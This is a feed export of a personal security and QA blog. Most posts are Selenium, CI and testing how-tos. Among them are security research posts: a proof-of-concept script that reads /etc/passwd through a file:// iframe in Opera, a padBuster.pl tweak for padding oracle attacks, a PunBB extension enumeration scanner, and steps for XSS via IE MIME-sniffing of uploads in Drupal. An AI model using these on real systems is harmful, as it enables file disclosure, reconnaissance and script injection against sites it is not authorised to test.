tag:blogger.com,1999:blog-46366435943504559092024-02-20T19:16:17.275+06:00p0deje's sec & qa blogdon't hope to find there smth outstandingAnonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.comBlogger21125tag:blogger.com,1999:blog-4636643594350455909.post-85344229044626373392012-02-17T15:56:00.000+07:002012-02-17T15:56:00.261+07:00Content Security Policy for Rack<div dir="ltr" style="text-align: left;" trbidi="on">
A long time ago I have implemented <a href="http://www.w3.org/TR/CSP/">Content Security Policy</a> as Rack middleware for my Ruby on Rails project. In short, CSP is a XSS mitigation mechanism. Server responds with HTTP header which defines trustworthy sources for different types of content (js, css, images) and browser restricts content from other sources. It's very powerful and you definitely should implement it along with other header-based security features (like X-Frame-Options, Origin, Strict-Transport-Security) especially as long as it won't take much time.<br />
<br />
A couple of days ago I decided that it worths to publish middleware as a separate gem. I googled a bit and found <a href="https://rubygems.org/gems/csp_easy">csp_easy</a>. However, it lacked few features (hash-based directives configuration, support to WebKit, Report-Only mode) and specs, so I decided not to fork and push my changes (I know it looks bad), but just to publish my own version.<br />
<br />
Project is on <a href="https://github.com/p0deje/content-security-policy">Github</a>. Read instructions and improve security of your Rack-based web application!</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com5tag:blogger.com,1999:blog-4636643594350455909.post-74183516618398567952012-01-21T02:05:00.001+07:002012-02-02T00:57:51.856+07:00Polymorphous page objects<div dir="ltr" style="text-align: left;" trbidi="on">
I'm a big fan of page object pattern used for developing Selenium tests and I like the whole approach it follows. However, there are some points which can be improved in this approach. Let's talk about them.<br />
<br />
Imagine that we have profile page for authenticated user. It has navigation menu with a set of links: "Home", "Profile", "Messages". Typical page class will look like this:<br />
<br />
<pre class="brush: ruby">class ProfilePage
def click_home_link
@browser.find_element(:id => 'home_link').click
HomePage.new
end
def click_profile_link
@browser.find_element(:id => 'profile_link').click
ProfilePage.new
end
def click_messages_link
@browser.find_element(:id => 'message_link').click
MessagesPage.new
end
end # ProfilePage
</pre>
<br />
Home and Messages pages are rather different page, but still have navigation menu. So they should have the same set of methods. We shouldn't duplicate code, so we need to extract these methods into a separate module.<br />
<br />
<a name='more'></a>
<pre class="brush: ruby">module NavigationMenuRegion
def click_home_link
@browser.find_element(:id => 'home_link').click
HomePage.new
end
def click_profile_link
@browser.find_element(:id => 'profile_link').click
ProfilePage.new
end
def click_messages_link
@browser.find_element(:id => 'message_link').click
MessagesPage.new
end
end # NavigationMenuRegion
class ProfilePage
include NavigationMenuRegion
end # ProfilePage
class HomePage
include NavigationMenuRegion
end # HomePage
class MessagesPage
include NavigationMenuRegion
end # MessagesPage
</pre>
<br />
That's very good. But let's imagine that we begin to write tests for admin user. He certainly has profile page with navigation menu, but it contains different links: "Add user", "Content". The first idea is to add few more methods to <span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">NavigationMenuRegion</span></span>. We won't care because simple authenticated user won't touch them. This will look like this.<br />
<br />
<pre class="brush: ruby">module NavigationMenuRegion
def click_home_link
@browser.find_element(:id => 'home_link').click
HomePage.new
end
def click_profile_link
@browser.find_element(:id => 'profile_link').click
ProfilePage.new
end
def click_messages_link
@browser.find_element(:id => 'message_link').click
MessagesPage.new
end
def click_add_user_link
@browser.find_element(:id => 'add_user_link').click
AddUserPage.new
end
def click_content_link
@browser.find_element(:id => 'content_link').click
ContentPage.new
end
end # NavigationMenuRegion
class ProfilePage
include NavigationMenuRegion
end # ProfilePage
class HomePage
include NavigationMenuRegion
end # HomePage
class MessagesPage
include NavigationMenuRegion
end # MessagesPage</pre>
<br />
But what if we have 5 roles, each with a custom set of links? And same menu is shown to anonymous user? This will bring a mess into a module. Then, let's imagine that we several regions with elements depending on role. This may become a nightmare for tester to support.<br />
<br />
But what if our page class will check the currently logged in user's role and provide page object with a set of methods unique for it?<br />
<br />
Let's imagine that each page has small link with username in header (obvious) and we follow a rule of thumb to name user with his role. Then we can figure out the role of currently logged in user with something like this (in our base page class):<br />
<br />
<pre class="brush: ruby">class Page
def user_name
@browser.find_element(:id => 'username_link').text
end
def user_role
case self.user_name
when /simple/ then :simple
when /reader/ then :reader
when /writer/ then :writer
when /editor/ then :editor
when /admin/ then :admin
else :anonymous
end
end
end # Page</pre>
<br />
I understand that we can get role via other ways (e.g. if we use fixtures or have access to application code), but let's use username link just for example.<br />
<br />
So, now we can split <span style="font-family: "Courier New",Courier,monospace;">NavigationMenuRegion</span> into a set of role-based modules.<br />
<br />
<pre class="brush: ruby">module NavigationMenuRegion
module Simple
def click_home_link
@browser.find_element(:id => 'home_link').click
HomePage.new
end
def click_profile_link
@browser.find_element(:id => 'profile_link').click
ProfilePage.new
end
def click_messages_link
@browser.find_element(:id => 'message_link').click
MessagesPage.new
end
end # Simple
module Admin
def click_add_user_link
@browser.find_element(:id => 'add_user_link').click
AddUserPage.new
end
def click_content_link
@browser.find_element(:id => 'content_link').click
ContentPage.new
end
end # Admin
end # NavigationMenuRegion</pre>
<br />
Ok, but as far it doesn't change anything because we didn't add user role check. And there goes Ruby magic!<br />
<br />
<pre class="brush: ruby">module NavigationMenuRegion
#
# Checks current user role and extends page object with
# corresponding module.
#
def initialize
super
extend case self.user_role
when :simple then Simple
when :admin then Admin
else Default
end
end
module Simple
# there go our methods for simple user
end # Simple
module Admin
# there go our methods for admin user
end # Admin
module Default
# we can add as many modules as we need, but let's have default
end # Default
end # NavigationMenuRegion</pre>
<br />
Pretty easy, ain't it? I really like methods like <span style="font-family: "Courier New",Courier,monospace;">#extend</span> in Ruby, because when it's called for class, it adds class methods to it, but when it's called for object - it adds instance methods to it. However, they make code so elegant!<br />
<br />
The key of it is that we overwrite <span style="font-family: "Courier New",Courier,monospace;">#initialize</span> thus ensuring it's called on page object creation. We should also call super in case page class has custom <span style="font-family: "Courier New",Courier,monospace;">#initialize</span>.<br />
<br />
I cater this pattern for a month and it shows itself really good. We keep our code organized, page objects are flexible and easy to support.<br />
<br />
I'm sure I'm not the first who came to this, but I didn't manage to google anything like this.<br />
<br />
P.S. I called it "polymorphous" because page objects change themselves depending on environment. Maybe it's not a good title, but whatever.
</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com4tag:blogger.com,1999:blog-4636643594350455909.post-45584788189359219422011-10-25T23:33:00.001+07:002012-01-21T11:24:00.594+07:00Little cheat to speed up your WebDriver tests<div dir="ltr" style="text-align: left;" trbidi="on">
While most examples for Selenium WebDriver use creating new instance of browser on <span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">setUp() </span></span>and closing it on <span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">tearDown()</span></span>, it is not that fast really. So, in most cases, you only need to clear cookies and open homepage. Fortunately, WebDriver allows this. Such a little cheat will significantly decrease the time your tests take to run.<br />
<br />
You can clear cookies by <span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">driver.manage.delete_all_cookies</span></span> (Ruby bindings). In <a href="http://watirwebdriver.com/">Watir-WebDriver </a>there is also cute <span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">clear_cookies()</span></span> method. Just create a new instance of WebDriver before all the tests and clear cookies in <span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">setUp()</span></span>. That's it.</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com1tag:blogger.com,1999:blog-4636643594350455909.post-18756459401916342492011-10-18T23:53:00.001+07:002011-10-19T16:29:25.817+07:00Continuous integration for iOS app with Cucumber, Frank and Bamboo<div dir="ltr" style="text-align: left;" trbidi="on">
It's been a while since I had written latest post and it's just because I have too little time and too little readers, so I wasn't sure it worthies spending time. But after <a href="http://marlenacompton.com/?p=2446">this post</a> by <a href="https://twitter.com/#%21/marlenac">Marlena Compton</a> I've decided to keep it on.<br />
<br />
So, this post is about building continuous integration for iOS application with Cucumber + Frank as acceptance testing framework and Bamboo as CI server.<br />
<br />
<a name='more'></a>Before you read everything else, I want to warn you that after a month of running CI, I come to the conclusion that Frank may be not the best solution for UAT, but there was nothing comparable at the time I've started. Now, however, you can try <a href="https://github.com/jarib/nativedriver-rb">Ruby bindings for NativeDriver</a> which were written by <a href="https://twitter.com/#%21/jarib/">Jari Bakken</a> (if anybody doesn't know, he's an awesome author of Ruby bindings for Selenium WebDriver and Watir-WebDriver) and me.<br />
<br />
Regardless your choice, here is the flow which should be catered:<br />
<ol style="text-align: left;">
<li>Developer pushes some changes to <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">develop</span> branch of application repository.</li>
<li>Bamboo fetches the changes and apply them.</li>
<li>Application is built with Xcode.</li>
<li>Acceptance tests are run on new build.</li>
<li>Each test produces a video with itself running.</li>
<li>The results of the tests are parsed and if there are failures, developer receive email notification on that. </li>
</ol>
<b>Step one - frankified application</b><br />
<br />
<i>Proceeding from assumption you already have Xcode project of your iOS application the following steps are required</i><br />
<br />
Make custom "frankified" target of your application which will be built with Frank code. It's described good at Frank <a href="https://github.com/moredip/Frank/blob/master/tutorial/Tutorial.md">tutorial</a> while it's rather nontrivial (especially for people like me which have never worked with Xcode and even MacOS X). You may get some errors even after following the tutorial step-by-step, but don't give up.<br />
<br />
<b>Step two - writing Frank tests</b><br />
<br />
When you have created "frankified" target, try writing some basic Frank tests for your app and see if it's running. Tutorial has everything necessary for this step.<br />
<br />
<b>Step three - getting MacOS-powered hosting</b><br />
<br />
In my case, Bamboo was installed and running on Linux server and iOS app wouldn't build on it, so we had to make all this stuff run on separate Mac server. We've selected <a href="http://www.macminicloud.net/">http://www.macminicloud.net/</a>. Nice thing was that it has MacOS X 10.7 Lion and you're provided with both SSH and VNC access. <br />
<br />
<b>Step four - adding MacMini as remote agent to Bamboo</b><br />
<br />
The tests should be run on MacMini, but the results and all this stuff should be shown in Bamboo itself which is on Linux server. So, you have to create a "remote agent" for Bamboo.<br />
<ol style="text-align: left;">
<li>Make sure your Bamboo license allows it. Go to <i>Administration → License Details</i> and look for "Number of remote agents supported". Unless it's 0, you can go on. Otherwise, make sure you upgrade your license.</li>
<li>Go to <i>Administration → Agents</i> and click "Install Remote Agent".</li>
<li>Copy the "Running a Remote Agent" command, you'll need it. </li>
<li>There will be "Remote agent JAR" for downloading. Get it.</li>
<li>Connect to MacMini and place downloaded JAR to home folder on MacMini.</li>
<li>Run it with "Running a Remote Agent" command.</li>
<li>Wait until it appears on Agents page in Bamboo.</li>
<li>When it does, open it by clicking on its name.</li>
<li> In "Agent-Specific Capabilities" click to "Add Custom" and create new custom capability like <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">isMacMini</span> key and <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">true</span> value. This is needed to ensure the plan is built on MacMini remote agent and not on local agent.</li>
</ol>
<b>Step five - create your iOS app plan </b><br />
<br />
Create simple plan just like you usually do and job for it. The only difference is to create requirment for MacMini. Go to job configuration and Requirements, then select "isMacMini" from Requirement list and click "Add". It will ensure that job is running on MacMini.<br />
<br />
N.B. If you have any different plans which should be run on local agent, add custom capability to it (e.g. <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">isLocal = true</span>) and add it as requirement to your plans' jobs. Otherwise, the jobs may run on MacMini too.<br />
<br />
<b>Step six - configure plan's tasks</b><br />
<br />
I have two tasks in job: one for running tests which call simple Bash script (Command) and one for parsing test results (JUnit parser). The following script builds application and run tests:<br />
<br />
<pre class="brush:bash">#!/bin/bash
# Compiles and runs Frank tests for iOS.
#
# Written by Alex Rodionov (p0deje@gmail.com)
# Xcode variables
target="myapp Frankified"
configuration="Debug"
sdk="iphonesimulator4.3"
# Path to compiled application
app_path="/Users/cloud/bamboo-agent-home/xml-data/build-dir/MOBILE-IOS-JOB1/iPhone/build/Debug-iphonesimulator/myapp Frankified.app"
# Compilation
echo 'Building application...'
rm -rf "$app_path" # Remove old build
cd iPhone/
xcodebuild -configuration $configuration -target "$target" -sdk $sdk
# Running test
echo 'Running Frank user-acceptance tests...'
cd Frank/
rm -rf test_results/ # Remove old results
# Remove old videos
rm -f /Users/cloud/Movies/*.mov
rm -rf videos/
# run tests
export APP_BUNDLE_PATH="$app_path"
cucumber -f pretty -f junit -o test_results/
# Copy videos
mkdir videos
cp /Users/cloud/Movies/*.mov videos/</pre>
<pre class="brush:bash"> </pre>
<pre class="brush:bash"></pre>
This script works with recorded videos but you can remove this code if you don't record them in Frank tests.<br />
<br />
<b>(optional) Step seven - produce video of tests as artifcats</b><br />
<br />
If your Frank tests record videos, you can publish them as artifacts of the build.<br />
To record videos, copy<span style="font-size: small;"> </span><span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">start_recording</span> and <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">stop_recording</span> methods to your <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">env.rb</span> from <span style="font-size: x-small;"><a href="https://github.com/moredip/Frank/blob/master/gem/lib/frank-cucumber/frank_helper.rb"><span style="font-family: "Courier New",Courier,monospace;">frank_helper.rb</span></a></span> (or require it) and call first in <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">Before</span> hook and latest in <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">After</span> hook.<br />
To publish videos as artifacts, go to job configuration, click "Artifacts" and add new one with Location of videos directory and Copy Pattern <span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: x-small;">*.mov</span><span style="font-family: Times,"Times New Roman",serif;">.</span></span><br />
<div style="font-family: Times,"Times New Roman",serif;">
<br /></div>
<div style="font-family: inherit;">
<b>Step eight - have some beer and chill out, you've done great </b></div>
<div style="font-family: Times,"Times New Roman",serif;">
<br /></div>
<b>What else?</b><br />
It's still not finished yet. We also need to publish <span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">ipa</span> file as an artifact and push it to <a href="http://www.testflight.com/">www.testflight.com</a>.<b><br /></b></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com8tag:blogger.com,1999:blog-4636643594350455909.post-25631684043004113902011-04-21T22:01:00.000+07:002011-04-21T22:01:43.610+07:00User-Agent in padBuster.pl<div dir="ltr" style="text-align: left;" trbidi="on">Quick note for those, who perform penetration testing of ASP.NET applications and try to exploit <a href="http://netifera.com/research/poet/PaddingOracleBHEU10.pdf">Padding Oracle Attack</a> with <a href="http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/">padBuster.pl</a>, but always receive 403 Forbidden response from either WebResource.axd or ScriptResource.axd. This is most probably because of incorrect User-Agent or, actually, it's absence. To fix, you need to add user-agent to LWM. Just change the following code of <span style="font-family: "Courier New",Courier,monospace;">makeRequest()</span> function from<br />
</div><pre class="brush: perl">$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
</pre><div dir="ltr" style="text-align: left;" trbidi="on">to<br />
</div><pre class="brush: perl">$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
agent => 'Mozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110406 Firefox/4.0',
);</pre><pre class="brush: perl"> </pre><div dir="ltr" style="text-align: left;" trbidi="on">or whatever UA you need.<br />
I actually think this should be added to padBuster.pl as an option.<br />
</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com2tag:blogger.com,1999:blog-4636643594350455909.post-10435930024476025812011-03-27T22:14:00.000+07:002011-03-27T22:14:38.474+07:00Continuos Integration of Android apps<div dir="ltr" style="text-align: left;" trbidi="on">While looking for a way to implement this, I've found several how-tos, but they all used Maven, which didn't look great for me for several reasons. That's why I decided to set it up with myself. Here is the short manual if you are interested.<br />
<ol style="text-align: left;"><li>Install <a href="http://ant.apache.org/">Apache Ant</a> </li>
<li>Install <a href="http://developer.android.com/sdk/">Android SDK</a> and its components (Tools and Platform Tools)</li>
<li>Install <a href="http://jenkins-ci.org/">Jenkins</a> (formerly Hudson)</li>
<li>Install <a href="http://wiki.jenkins-ci.org/display/JENKINS/Android+Emulator+Plugin">Android Emulator Plugin</a> for Jenkins and configure it with path to Android SDK</li>
<li>Install <a href="http://wiki.jenkins-ci.org/display/JENKINS/Python+Plugin">Python Plugin</a> for Jenkins</li>
<li>Download <a href="https://github.com/jsankey/android-junit-report">android-junit-report.jar</a> and place it to your tests lib/ directory (we need this as long as default Android test-runner doesn't generate XML report needed by Jenkins).</li>
<li>Download <a href="https://github.com/p0deje/android-jenkins-ci">build script</a> and change variables section to fit your project (directories to application and tests, path to Android SDK, target version of Android, package name, use emulator or real device etc.). You don't need to add any modifications to AndroidManifest.xml or create build.xml - script will do this for you</li>
<li>Create new job</li>
<li>Add Python script as build step and paste modified version of build script there</li>
<li>Try it!</li>
</ol>That's supposed to be all. If you have any problems, feel free to comment/open issues at GitHub. Hope this will help you.</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com2tag:blogger.com,1999:blog-4636643594350455909.post-3297424834858661682011-03-12T22:42:00.000+06:002011-03-12T22:42:29.269+06:00Security Kit on GitHub<div dir="ltr" style="text-align: left;" trbidi="on">I was planning to do this a long time ago, but this, that and the other delayed me. Finally, I've registered at GitHub and added <a href="https://github.com/p0deje/seckit">repository</a> for Security Kit. In short, that's the module for Drupal CMS which provides with few options to improve the security of your Drupal-based site. It aims to simplify the process of setting up security features which exist in modern browsers (CSP, Origin, X-Frame-Options etc.).<br />
Present situation in web security indicates that regardless huge number of hacks and all these talks about "every site needs to be secured", the number of vulnerabilities does not decrease. Just take a look at <a href="http://www.xssed.com/">XSSed</a>. So, browser companies decided to add more built-in features to harden the web. They are mostly implemented with HTTP response headers and all the website owner/admin has to do is to add one.<br />
Still, many people have no idea about such things or they don't know how to do this. That's the reason of creating Security Kit and, previously, <a href="http://drupal.org/project/safeclick">SafeClick</a> (which is so highly tailored, just for Clickjacking, so I decided to move it to Security Kit and close it).<br />
Even though Drupal recently migrated to Git from CVS (thanks!), I plan to develop SecKit on GitHub along with other projects, which I hope I will soon finish (at least to make them public).<br />
<br />
P.S. I do really hope and expect collaboration.</div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-54386411335652120572011-02-07T22:23:00.002+06:002011-02-09T14:56:08.926+06:00Verify methods for PHPUnit (like Selenium)<div dir="ltr" style="text-align: left;" trbidi="on">If you have ever used Selenium RC + PHPUnit and used in your tests a lot of verfiy* assertions (i.e. non-strict assertions), you should have seen that they are actually look like:<br />
<br />
<pre class="brush: php">try {
$this->assert...();
} catch (PHPUnit_Framework_AssertionFailedError $e) {
array_push($this->verificationErrors, $e->toString());
}</pre><br />
<div dir="ltr" style="text-align: left;" trbidi="on">When you have around 100 verifications the code becomes a mess. That's when you should write your own verify* methods and instead use them.<br />
<br />
I thought it would be useful for other PHPUnit + Selenium testers, so here is an example I of <span style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: small;">verifyEquals()</span></span> as I guess it's the most used method:<br />
<br />
<pre class="brush: php">class PHPUnit_Selenium_Verifications extends PHPUnit_Extensions_SeleniumTestCase {
/**
* Non-strictly asserts that two variables are equal.
*
* @param mixed $expected
* @param mixed $actual
* @param string $message
* @param float $delta
* @param integer $maxDepth
* @param boolean $canonicalize
* @param boolean $ignoreCase
*/
public static function verifyEquals($expected, $actual, $message = '', $delta = 0, $maxDepth = 10, $canonicalize = FALSE, $ignoreCase = FALSE) {
// try assertion
try {
$this->assertEquals($expected, $actual, $message, $delta, $maxDepth, $canonicalize, $ignoreCase);
// print exception and line number of assertion
} catch (PHPUnit_Framework_AssertionFailedError $e) {
array_push($this->verificationErrors, $e->toString(), " on " . __LINE__ . " line.");
}
}
</pre></div><div dir="ltr" style="text-align: left;" trbidi="on"><br />
Now you can just use <span style="font-family: 'Courier New', Courier, monospace;">$this->verifyEquals()</span> instead of try-catch constructions.<br />
I will keep on adding other methods if somebody finds this useful.<br />
<br />
UPD: PHPUnit has built-in verifyCommand() method, which resolves all the problems.</div></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com2tag:blogger.com,1999:blog-4636643594350455909.post-82594538994662302612010-12-17T12:53:00.000+06:002010-12-17T12:53:24.576+06:00Private browsing in Opera is not so private actuallyI've always been using Opera's private browsing when didn't want any history and other stuff to be saved locally. Always until I decided to take a look at how private it really is.<br />
After some private browsing I navigated to <span style="font-family: "Courier New",Courier,monospace;">~/.opera/temporary_downloads</span> and noticed that Opera stores some necessary files there. There were:<br />
<ul><li><span style="font-family: "Courier New",Courier,monospace;">crossdomain.xml</span> (which may reveal domain you browsed in many cases)</li>
<li>various <span style="font-family: "Courier New",Courier,monospace;">swf</span> files (which may reveal sensitive information when decompiled)</li>
<li>strange <span style="font-family: "Courier New",Courier,monospace;">video_related.htm</span> file, which contained <b>a lot of info</b><br />
</li>
</ul>That's fine, but the actual problem is that Opera doesn't delete the files when closed. It only do this when opened in next time. It works so regardless private or usual navigation. And I doubt anyone opens Opera again just to clear files after private browsing.<br />
So, Opera's private browsing is not so private actually.Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com1tag:blogger.com,1999:blog-4636643594350455909.post-35967983925154415762010-12-04T00:41:00.001+06:002010-12-04T00:42:42.983+06:00Drupal and cookies domain cachingFrom time to time anyone experience some problems with non-fresh Drupal installations (e.g. some project from SCM). The major one for me was some strange cookie setting and handling - when I tried to login Drupal replied with correct Set-Cookie header, but cookies were not saved within browser, i.e. after login the page was just reloaded with login prompt. No message or anything to help me. So I just started commenting and editing related code by random. Finally, I got it. The problem is that Drupal was installed first with hostname A and I tried to work with it on hostname B. Don't know why sometimes it's okay and sometimes it's not. However, you just need to uncomment <span style="font-family: "Courier New",Courier,monospace;">$cookie_domain</span> and set it to your hostname in <span style="font-family: "Courier New",Courier,monospace;">settings.php</span>. Just like this:<br />
<br />
<pre class="brush: php">$cookie_domain = 'your.domain';
</pre>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-89033902624119979532010-11-01T14:20:00.002+06:002010-11-01T14:21:42.205+06:00Using Hudson variables in PythonWhile moving my continuous integration build script to Python (using <a href="http://wiki.hudson-ci.org/display/HUDSON/Python+Plugin">Python Plugin for Hudson</a>), I faced a problem of using Hudson environment variables. I am new to Python and get used just to place variables in shell script like <span style="font-family: "Courier New",Courier,monospace;">$WORKSPACE</span> or <span style="font-family: "Courier New",Courier,monospace;">${WORKSPACE}</span>. Still, it didn't work in case of Python. So, if you met such a problem, you should use <span style="font-family: "Courier New",Courier,monospace;">os.eviron()</span> method. For example:<br />
<br />
<pre class="brush: python">#!/usr/bin/python
import os
workspace = os.environ['WORKSPACE']
print workspace
</pre>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-56693918903867866312010-10-30T21:02:00.000+07:002010-10-30T21:02:20.726+07:00Getting Fun from Responsible DisclosuresI've recently released two proof-of-concepts for <a href="http://www.exploit-db.com/exploits/15171">jCart</a> application and <a href="http://www.exploit-db.com/exploits/15355">Simpli Easy Newsletter</a> (formerly AFC Simple Newsletter) script. Both of these disclosures were pretty exciting actually.<br />
As a responsible security researcher, I first contacted both vendors.<br />
Guy from Simpli Easy Newsletter quickly replied. He said: <i>Thanks, I'll let my friend know so he can fix.</i><br />
Funny, isn't it? Three weeks have passed, but his friend did nothing and further emails from me were ignored. So, my disclosure was responsible in effect.<br />
Absolutely different situation happened to jCart. I sent an email to its vendor, but didn't receive any reply and in a couple of days released vulnerabilities. Some time later I received annoyed email from Doug Whitney (jCart guy), where he explained that I was wrong not contacting him first. Of course, I forwarded him my previous email and, what's funny, everything was correct, but it got into Spam box. So, was it responsible disclosure or not? Anyhow, it was pretty funny.Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-87759846858646952512010-10-02T01:38:00.007+07:002010-10-24T00:33:07.862+07:00PunBB v1.3 Extension ScannerWhile pentesting one project, I've faced PunBB v1.3 forum running there. As long as it would take a bit of time to check for installed extensions (even though there are not so much for it), I've written a pretty simple Python script to enumerate them. Maybe I It gets the list of available extensions from PunBB site and searches for them at provided website. Its code is really dirty, but I needed quick solution. Maybe it will be useful for someone. Or maybe I just failed googling for a one. Anyway, here it is. Usage (note no trailing slash):<br />
<br />
$ python3 scanner.py http://www.example.com/forum<br />
<br />
<pre class="brush: python">#!/usr/bin/python3
import urllib.request, re, sys
host = sys.argv[1]
try:
l = urllib.request.urlopen('http://punbb.informer.com/svn/additions/punbb-1.3/extensions/')
except urllib.error.HTTPError:
print('Cannot enumerate available extensions from http://punbb.informer.com/')
exit()
e = l.read().decode()
e = re.sub('&lt;.*?&gt;', '', e)
e = re.findall('(pun_.*/)', e)
for i in e:
try:
urllib.request.urlopen(host + '/extensions/' + i)
print('YES - ' + i)
except urllib.error.HTTPError:
print('NO - ' + i) </pre><pre class="brush: python"></pre>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-13204643675563276732010-09-19T23:34:00.005+07:002010-10-24T00:34:18.436+07:00Opera and access to file:// iframes<span style="font-size: small;"></span><br />
<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">It's just a quick thought about getting content of iframes with file:// sources. While Firefox and Chrome don't alllow access to <span style="font-family: "Courier New",Courier,monospace; font-size: small;">contentWindow</span> and <span style="font-family: "Courier New",Courier,monospace; font-size: small;">contentDocument</span> properties of iframes with file:// sources, Opera and Internet Explorer don't have such security policies.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">It's possible to get access to it in case when original file with iframe is saved locally. This way, Opera and Internet Explorer render file iframe and, as long as protocols match, which is required for <span style="font-family: "Courier New",Courier,monospace; font-size: small;">contentWindow</span> and <span style="font-family: "Courier New",Courier,monospace; font-size: small;">contentDocument</span> properties, allow reading it (actually, Firefox lets this too, but it also compares path to file - if they differ, it throws security exception).</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">So, we force user to save webpage locally (as HTML file) and to open it. In case of IE, however, it won't execute Javascript by default. Still, Opera lets us do it.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">Here is a proof-of-concept just for fun:</span></div><br />
<pre class="brush: xml"><body />
<script>
iframe = document.createElement('iframe');
iframe.src = 'file://localhost/etc/passwd';
document.body.appendChild(iframe);
info = iframe.contentWindow.document.body.innerHTML;
alert(info);
</script>
</pre><br />
<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">P.S. Wow, I don't really know what does it mean, but Safari runs Windows Explorer with the path of such iframes.</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-89753211900331155192010-05-19T13:41:00.002+07:002010-10-21T14:27:56.534+07:00Exploiting IE MIME-sniffer vulnerability in Drupal<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"></span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">IE always loved to <a href="http://hackademix.net/2009/11/21/ies-xss-filter-creates-xss-vulnerabilities/">create vulnerabilities</a> where they would never be. Not many people know, but there is an old bug in IE MIME-sniffer, which can be easily exploited. The essence of the bug is that when IE renders file, which was sent along with <span style="font-family: "Courier New",Courier,monospace;">Content-type: text/plain</span> header, it tries to identify its MIME type. So, if file contains HTML code inside, IE will think its <span style="font-family: "Courier New",Courier,monospace;">text/html</span> and render it. Simple example of exploit in Drupal:</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">1. There is a Drupal site with enabled Upload module.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">2. Attacker uploads *.txt file with HTML code inside. By default Drupal allows *.txt files.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">3. Attacker sends a link to that file to victim.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">4. Victim opens it in IE and HTML code is rendered.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"><br />
</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">It's pretty bad that Drupal core, which is tough by default, can be exploited in such a simple manner. I understand that it's not Drupal issue, but Microsoft isn't going to fix it. Instead, they suggest to send <span style="font-family: "Courier New",Courier,monospace;">X-Content-Type-Options: nosniff</span><i> </i>HTTP response header. But, it's not possible to do this in Drupal and Drupal Security Team didn't fix it for 2 years and won't do this in future. So, if you are aware of your users' safety, remove .txt from allowed tags. You can do this in Administer -> Site configuration -> File uploads.</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com3tag:blogger.com,1999:blog-4636643594350455909.post-41796227063615728382010-03-05T21:49:00.006+06:002010-10-21T14:27:52.282+07:00SafeClick - protect your Drupal site from Clickjacking<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"><a href="http://drupal.org/project/safeclick">SafeClick</a> is released. It is a module for Drupal CMS, which you gotta have to defense your website from <a href="http://www.sectheory.com/clickjacking.htm">Clickjacking</a>. It implements several techniques of such defenses.</span><br />
<br />
<span style="font-size: small;">Opportunity of setting <a href="http://blogs.msdn.com/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">X-Frame-Options</a> HTTP header. You may set it up to SameOrigin to allow framing of website within its domain or to DENY to prevent framing at all. Or you may disable it. This header is currently supported by Mozilla Firefox + NoScript extension, Apple Safari, Google Chrome and Microsoft Internet Explorer 8, so it's the safest way for your website.</span> <span style="font-size: small;"> </span><br />
<br />
